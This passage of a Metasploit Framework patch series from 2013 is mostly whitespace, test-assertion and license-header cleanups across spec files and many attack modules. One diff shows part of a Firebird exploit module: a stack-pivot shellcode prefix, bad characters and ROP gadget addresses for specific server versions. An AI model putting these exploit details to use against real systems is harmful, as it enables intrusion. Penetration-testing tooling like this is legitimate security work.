:weak=> false, - :status => :accepted}) + :version => :SSLv2, + :cipher=>"DES-CBC3-MD5", + :key_length=>168, + :weak=> false, + :status => :accepted}) rescue ArgumentError => e e.message.should == "unknown SSL method `SSLv2'." end @@ -151,20 +151,20 @@ describe Rex::SSLScan::Result do it "should add an SSLv3 cipher result to the SSLv3 Accepted array" do subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) subject.accepted(:SSLv3).should include({ - :version => :SSLv3, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, + :version => :SSLv3, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, :status => :accepted}) end it "should add an TLSv1 cipher result to the TLSv1 Accepted array" do subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) subject.accepted(:TLSv1).should include({ - :version => :TLSv1, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, + :version => :TLSv1, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, :status => :accepted}) end @@ -172,16 +172,16 @@ describe Rex::SSLScan::Result do subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) subject.accepted(:SSLv3).should include({ - :version => :SSLv3, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, + :version => :SSLv3, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, :status => :accepted}) subject.accepted(:SSLv3).should include({ - :version => :SSLv3, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, + :version => :SSLv3, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, :status => :accepted}) end @@ -196,33 +196,33 @@ describe Rex::SSLScan::Result do begin subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :rejected) subject.rejected(:SSLv2).should include({ - :version => :SSLv2, - :cipher=>"DES-CBC3-MD5", - :key_length=>168, - :weak=> false, + :version => :SSLv2, + :cipher=>"DES-CBC3-MD5", + :key_length=>168, + :weak=> false, :status => :rejected}) rescue ArgumentError => e e.message.should == "unknown SSL method `SSLv2'." - end + end end it "should add an SSLv3 cipher result to the SSLv3 Rejected array" do subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) subject.rejected(:SSLv3).should include({ - :version => :SSLv3, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, + :version => :SSLv3, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, :status => :rejected}) end it "should add an TLSv1 cipher result to the TLSv1 Rejected array" do subject.add_cipher(:TLSv1, "AES256-SHA", 256, :rejected) subject.rejected(:TLSv1).should include({ - :version => :TLSv1, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, + :version => :TLSv1, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, :status => :rejected}) end @@ -230,16 +230,16 @@ describe Rex::SSLScan::Result do subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) subject.rejected(:SSLv3).should include({ - :version => :SSLv3, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, + :version => :SSLv3, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, :status => :rejected}) subject.rejected(:SSLv3).should include({ - :version => :SSLv3, - :cipher=>"AES128-SHA", - :key_length=>128, - :weak=> false, + :version => :SSLv3, + :cipher=>"AES128-SHA", + :key_length=>128, + :weak=> false, :status => :rejected}) end @@ -374,7 +374,7 @@ describe Rex::SSLScan::Result do subject.supports_sslv2?.should == true rescue ArgumentError => e e.message.should == "unknown SSL method `SSLv2'." - end + end end end context "for SSLv3" do @@ -446,14 +446,14 @@ describe Rex::SSLScan::Result do it "should return true if there is no SSL support" do subject.standards_compliant?.should == true end - + it "should return false if SSLv2 is supported or raise an SSLv2 exception" do begin subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) subject.standards_compliant?.should == false rescue ArgumentError => e e.message.should == "unknown SSL method `SSLv2'." - end + end end it "should return false if weak ciphers are supported" do @@ -490,14 +490,14 @@ describe Rex::SSLScan::Result do subject.add_cipher(:SSLv3, "EXP-RC2-CBC-MD5", 40, :accepted) cert = OpenSSL::X509::Certificate.new - key = OpenSSL::PKey::RSA.new 2048 + key = OpenSSL::PKey::RSA.new 2048 cert.version = 2 # cert.serial = 1 cert.subject = OpenSSL::X509::Name.parse "/DC=org/DC=ruby-lang/CN=Ruby CA" - cert.issuer = cert.subject + cert.issuer = cert.subject cert.public_key = key.public_key cert.not_before = Time.now - cert.not_after = cert.not_before + 2 * 365 * 24 * 60 * 60 # 2 + cert.not_after = cert.not_before + 2 * 365 * 24 * 60 * 60 # 2 subject.cert = cert end @@ -523,4 +523,4 @@ describe Rex::SSLScan::Result do end -end \ No newline at end of file +end From 64398d2b60ce49d2352143f9daca4d175503a289 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 7 Mar 2013 21:34:51 +0100 Subject: [PATCH 335/341] deleting some commas --- modules/exploits/windows/misc/fb_cnct_group.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/misc/fb_cnct_group.rb b/modules/exploits/windows/misc/fb_cnct_group.rb index 9e3a4d9717..3763fa6058 100644 --- a/modules/exploits/windows/misc/fb_cnct_group.rb +++ b/modules/exploits/windows/misc/fb_cnct_group.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote # Stackpivot => mov eax,fs:[0x18] # add eax,8 # mov esp,[eax] 'Prepend' => "\x64\xa1\x18\x00\x00\x00\x83\xc0\x08\x8b\x20", 'Space' => 400, - 'BadChars' => "\x00\x0a\x0d", + 'BadChars' => "\x00\x0a\x0d" }, 'Targets' => [ @@ -52,7 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'Windows FB 2.5.2.26539', { 'pivot' => 0x005ae1fc, 'rop_nop' => 0x005b0384, 'rop_pop' => 0x4a831344 } ], [ 'Windows FB 2.5.1.26351', { 'pivot' => 0x4add2302, 'rop_nop' => 0x00424a50, 'rop_pop' => 0x00656472 } ], [ 'Windows FB 2.1.5.18496', { 'pivot' => 0x4ad5df4d, 'rop_nop' => 0x0042ba8c, 'rop_pop' => 0x005763d5 } ], - [ 'Debug', { 'pivot' => 0xdead1337, 'rop_nop' => 0xdead1337, 'rop_pop' => 0xdead1337 } ], + [ 'Debug', { 'pivot' => 0xdead1337, 'rop_nop' => 0xdead1337, 'rop_pop' => 0xdead1337 } ] ], 'DefaultTarget' => 0, 'Privileged' => true, From f321cea4cd66e88b1c4a840a07df693e6e64ab7a Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 7 Mar 2013 14:45:58 -0600 Subject: [PATCH 336/341] Slightly more readable assertion --- spec/lib/rex/sslscan/result_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index 1c5c47ad37..bb9e667c4e 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -26,7 +26,7 @@ describe Rex::SSLScan::Result do end it "should return an empty set for ciphers" do - subject.ciphers.empty?.should == true + subject.ciphers.should be_empty end it "should return an empty array for accepted" do From addb73ec282a6164e576ffd9a9c748733ad0cc55 Mon Sep 17 00:00:00 2001 From: Brandon Turner Date: Thu, 7 Mar 2013 16:15:54 -0600 Subject: [PATCH 337/341] Update the 0.6.1 tag to the merged commit [Story #45771305] --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index 953cd0244c..c75d227845 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,6 +1,6 @@ GIT remote: git://github.com/rapid7/metasploit_data_models.git - revision: 01f6a1eb2ac1acc069feac58e4d09a4555389096 + revision: 7f8e36d9b62a36bcbf43c8f1ab48a07bed0732d9 tag: 0.6.1 specs: metasploit_data_models (0.6.1) From 21607182504e924e5cef685e8810aacdd6bc20c3 Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 7 Mar 2013 17:53:19 -0600 Subject: [PATCH 338/341] Fix file header comment [See #1555] --- .../admin/mssql/mssql_ntlm_stealer.rb | 2 +- .../admin/mssql/mssql_ntlm_stealer_sqli.rb | 2 +- modules/auxiliary/admin/natpmp/natpmp_map.rb | 2 +- .../auxiliary/admin/scada/modicon_command.rb | 2 +- .../admin/scada/modicon_stux_transfer.rb | 2 +- modules/auxiliary/admin/smb/psexec_command.rb | 2 +- modules/auxiliary/bnat/bnat_scan.rb | 2 +- modules/auxiliary/crawler/msfcrawler.rb | 8 ++++++- modules/auxiliary/docx/word_unc_injector.rb | 2 +- modules/auxiliary/dos/ssl/openssl_aesni.rb | 7 +++++++ modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb | 7 +++++++ .../gather/natpmp_external_address.rb | 7 +++++++ .../gather/wp_w3_total_cache_hash_extract.rb | 2 +- .../scanner/discovery/ipv6_multicast_ping.rb | 5 ++++- .../ipv6_neighbor_router_advertisement.rb | 7 +++++++ .../auxiliary/scanner/http/http_traversal.rb | 7 +++++++ .../auxiliary/scanner/misc/cctv_dvr_login.rb | 2 +- .../scanner/natpmp/natpmp_portscan.rb | 6 ++++++ modules/auxiliary/scanner/ntp/ntp_readvar.rb | 4 +++- .../scanner/oracle/isqlplus_login.rb | 2 +- .../scanner/oracle/isqlplus_sidbrute.rb | 2 +- .../scanner/sap/sap_icf_public_info.rb | 4 ++-- .../scanner/sap/sap_router_info_request.rb | 2 +- .../scanner/sap/sap_soap_bapi_user_create1.rb | 2 +- .../scanner/sap/sap_soap_rfc_brute_login.rb | 2 +- ...fc_dbmcli_sxpg_call_system_command_exec.rb | 2 +- .../sap_soap_rfc_dbmcli_sxpg_command_exec.rb | 4 ++-- .../scanner/sap/sap_soap_rfc_ping.rb | 2 +- .../scanner/sap/sap_soap_rfc_read_table.rb | 2 +- .../sap_soap_rfc_susr_rfc_user_interface.rb | 2 +- .../sap/sap_soap_rfc_sxpg_call_system_exec.rb | 2 +- .../sap/sap_soap_rfc_sxpg_command_exec.rb | 4 ++-- .../scanner/sap/sap_soap_rfc_system_info.rb | 2 +- .../sap/sap_soap_th_saprel_disclosure.rb | 2 +- .../scanner/sap/sap_web_gui_brute_login.rb | 2 +- .../scanner/smb/psexec_loggedin_users.rb | 7 ++++++- modules/auxiliary/server/http_ntlmrelay.rb | 6 +----- .../auxiliary/spoof/dns/bailiwicked_host.rb | 8 +++++++ modules/encoders/x86/bloxor.rb | 21 +++++++------------ .../http/zenoss_showdaemonxmlconfig_exec.rb | 2 +- .../linux/misc/drb_remote_codeexec.rb | 2 +- .../multi/http/jboss_invoke_deploy.rb | 7 +++++++ .../multi/http/jenkins_script_console.rb | 2 +- .../multi/misc/indesign_server_soap.rb | 2 +- .../webapp/zoneminder_packagecontrol_exec.rb | 2 +- .../windows/browser/java_ws_vmargs.rb | 2 +- .../windows/fileformat/djstudio_pls_bof.rb | 2 +- .../windows/fileformat/foxit_reader_launch.rb | 2 +- .../windows/fileformat/ispvm_xcf_ispxcf.rb | 2 +- .../fileformat/orbit_download_failed_bof.rb | 2 +- .../windows/http/sysax_create_folder.rb | 2 +- modules/exploits/windows/local/ask.rb | 2 +- modules/exploits/windows/local/bypassuac.rb | 2 +- .../windows/local/current_user_psexec.rb | 2 +- .../exploits/windows/misc/hp_magentservice.rb | 7 +++++++ .../windows/misc/ibm_cognos_tm1admsd_bof.rb | 2 +- .../singles/cmd/unix/reverse_python.rb | 2 +- .../singles/linux/armle/shell_bind_tcp.rb | 7 +++++++ .../windows/gather/credentials/tortoisesvn.rb | 7 +++++++ .../windows/gather/forensics/enum_drives.rb | 7 +++++++ .../post/windows/gather/forensics/imager.rb | 7 +++++++ .../windows/gather/forensics/nbd_server.rb | 7 +++++++ .../windows/manage/mssql_local_auth_bypass.rb | 7 +++++++ modules/post/windows/manage/nbd_server.rb | 7 +++++++ .../manage/powershell/exec_powershell.rb | 2 +- modules/post/windows/manage/rpcapd_start.rb | 2 +- modules/post/windows/manage/sdel.rb | 2 +- 67 files changed, 189 insertions(+), 70 deletions(-) diff --git a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb index 03405ccf57..1d5657ebfd 100644 --- a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb +++ b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. -# http://metasploit.com/ +# http://metasploit.com/ ## require 'msf/core' diff --git a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb index 39fc16fbec..6bf5e62925 100644 --- a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb +++ b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. -# http://metasploit.com/ +# http://metasploit.com/ ## require 'msf/core' diff --git a/modules/auxiliary/admin/natpmp/natpmp_map.rb b/modules/auxiliary/admin/natpmp/natpmp_map.rb index 50d7948ed0..be8b13c300 100644 --- a/modules/auxiliary/admin/natpmp/natpmp_map.rb +++ b/modules/auxiliary/admin/natpmp/natpmp_map.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. -# http://metasploit.com/ +# http://metasploit.com/ ## require 'msf/core' diff --git a/modules/auxiliary/admin/scada/modicon_command.rb b/modules/auxiliary/admin/scada/modicon_command.rb index 7ab4303d68..4fd6348bb9 100644 --- a/modules/auxiliary/admin/scada/modicon_command.rb +++ b/modules/auxiliary/admin/scada/modicon_command.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. -# http://metasploit.com/ +# http://metasploit.com/ ## require 'msf/core' diff --git a/modules/auxiliary/admin/scada/modicon_stux_transfer.rb b/modules/auxiliary/admin/scada/modicon_stux_transfer.rb index b1908ad439..09533a1f18 100644 --- a/modules/auxiliary/admin/scada/modicon_stux_transfer.rb +++ b/modules/auxiliary/admin/scada/modicon_stux_transfer.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. -# http://metasploit.com/ +# http://metasploit.com/ ## require 'msf/core' diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 7ca4152343..1f438ac858 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. -# http://metasploit.com/ +# http://metasploit.com/ ## require 'msf/core' diff --git a/modules/auxiliary/bnat/bnat_scan.rb b/modules/auxiliary/bnat/bnat_scan.rb index b659524639..92f1742f96 100644 --- a/modules/auxiliary/bnat/bnat_scan.rb +++ b/modules/auxiliary/bnat/bnat_scan.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. -# http://metasploit.com/ +# http://metasploit.com/ ## require 'msf/core' diff --git a/modules/auxiliary/crawler/msfcrawler.rb b/modules/auxiliary/crawler/msfcrawler.rb index 5d9af9fc57..74677fb6ec 100644 --- a/modules/auxiliary/crawler/msfcrawler.rb +++ b/modules/auxiliary/crawler/msfcrawler.rb @@ -1,4 +1,10 @@ -#!/usr/bin/env ruby +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + # # Web Crawler. # diff --git a/modules/auxiliary/docx/word_unc_injector.rb b/modules/auxiliary/docx/word_unc_injector.rb index 926af2a6d3..6461f7f99c 100644 --- a/modules/auxiliary/docx/word_unc_injector.rb +++ b/modules/auxiliary/docx/word_unc_injector.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://Metasploit.com/projects/Framework/ +# http://Metasploit.com/projects/Framework/ ## require 'msf/core' diff --git a/modules/auxiliary/dos/ssl/openssl_aesni.rb b/modules/auxiliary/dos/ssl/openssl_aesni.rb index f118a88abb..88dc3f787c 100644 --- a/modules/auxiliary/dos/ssl/openssl_aesni.rb +++ b/modules/auxiliary/dos/ssl/openssl_aesni.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + # auxilary/dos/ssl/openssl_aesni require 'msf/core' diff --git a/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb b/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb index b76258cf25..3d679c3376 100644 --- a/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb +++ b/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + ## # A Very simple Module to fuzzer some SMTP commands. # It allows to respect the order or just throw everything at it.... diff --git a/modules/auxiliary/gather/natpmp_external_address.rb b/modules/auxiliary/gather/natpmp_external_address.rb index 22591d6907..00e52e93e3 100644 --- a/modules/auxiliary/gather/natpmp_external_address.rb +++ b/modules/auxiliary/gather/natpmp_external_address.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + require 'msf/core' require 'rex/proto/natpmp' diff --git a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb index e03844bf80..e91efa8cf7 100644 --- a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb +++ b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. -# http://metasploit.com/ +# http://metasploit.com/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb b/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb index e36abc0759..3403a9ed0e 100644 --- a/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb +++ b/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb @@ -1,5 +1,8 @@ ## -# $Id: ipv6_multicast_ping.rb 13962 2011-10-17 02:42:01Z todb $ +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb b/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb index 3f5814e864..a9b3787fed 100644 --- a/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb +++ b/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + require 'msf/core' class Metasploit3 < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/http/http_traversal.rb b/modules/auxiliary/scanner/http/http_traversal.rb index eedc2a72ce..7af68561c0 100644 --- a/modules/auxiliary/scanner/http/http_traversal.rb +++ b/modules/auxiliary/scanner/http/http_traversal.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + # # Thanks to: # ipax, neriberto, flambaz, bperry, egypt, and sinn3r for help diff --git a/modules/auxiliary/scanner/misc/cctv_dvr_login.rb b/modules/auxiliary/scanner/misc/cctv_dvr_login.rb index 1af876e682..6e4e82275d 100644 --- a/modules/auxiliary/scanner/misc/cctv_dvr_login.rb +++ b/modules/auxiliary/scanner/misc/cctv_dvr_login.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb b/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb index fc16c07d50..1c054168e2 100644 --- a/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb +++ b/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb @@ -1,4 +1,10 @@ ## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + require 'msf/core' require 'rex/proto/natpmp' diff --git a/modules/auxiliary/scanner/ntp/ntp_readvar.rb b/modules/auxiliary/scanner/ntp/ntp_readvar.rb index 988eeffe29..7b23bb9872 100644 --- a/modules/auxiliary/scanner/ntp/ntp_readvar.rb +++ b/modules/auxiliary/scanner/ntp/ntp_readvar.rb @@ -1,7 +1,9 @@ +## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. -# http://metasploit.com/ +# http://metasploit.com/ +## require 'msf/core' diff --git a/modules/auxiliary/scanner/oracle/isqlplus_login.rb b/modules/auxiliary/scanner/oracle/isqlplus_login.rb index 150d6a5463..261703c0ff 100644 --- a/modules/auxiliary/scanner/oracle/isqlplus_login.rb +++ b/modules/auxiliary/scanner/oracle/isqlplus_login.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. -# http://metasploit.com/Framework/ +# http://metasploit.com/Framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb b/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb index a4b51ffa92..5d5fe96ee5 100644 --- a/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb +++ b/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. -# http://metasploit.com/Framework/ +# http://metasploit.com/Framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/sap/sap_icf_public_info.rb b/modules/auxiliary/scanner/sap/sap_icf_public_info.rb index 2095bef790..f7f1a64a6d 100644 --- a/modules/auxiliary/scanner/sap/sap_icf_public_info.rb +++ b/modules/auxiliary/scanner/sap/sap_icf_public_info.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## ## @@ -152,4 +152,4 @@ class Metasploit4 < Msf::Auxiliary print(@saptbl.to_s) end -end \ No newline at end of file +end diff --git a/modules/auxiliary/scanner/sap/sap_router_info_request.rb b/modules/auxiliary/scanner/sap/sap_router_info_request.rb index af2c9c6500..46d50232b0 100644 --- a/modules/auxiliary/scanner/sap/sap_router_info_request.rb +++ b/modules/auxiliary/scanner/sap/sap_router_info_request.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb b/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb index 564bfdddc7..da586bae41 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb index b1e1c552ad..ef53dfc051 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb index 3bf02feb67..f06ae9ab71 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb index 0537944da0..ceb214a8b6 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## ## @@ -158,4 +158,4 @@ class Metasploit4 < Msf::Auxiliary return end end -end \ No newline at end of file +end diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb index d0690058bb..2821857488 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb index e188879c66..fface84f17 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb index 5f8cc3be61..be9eee6db6 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb index 263a001a6f..5f1363b84e 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb index d68877559a..338a670638 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit 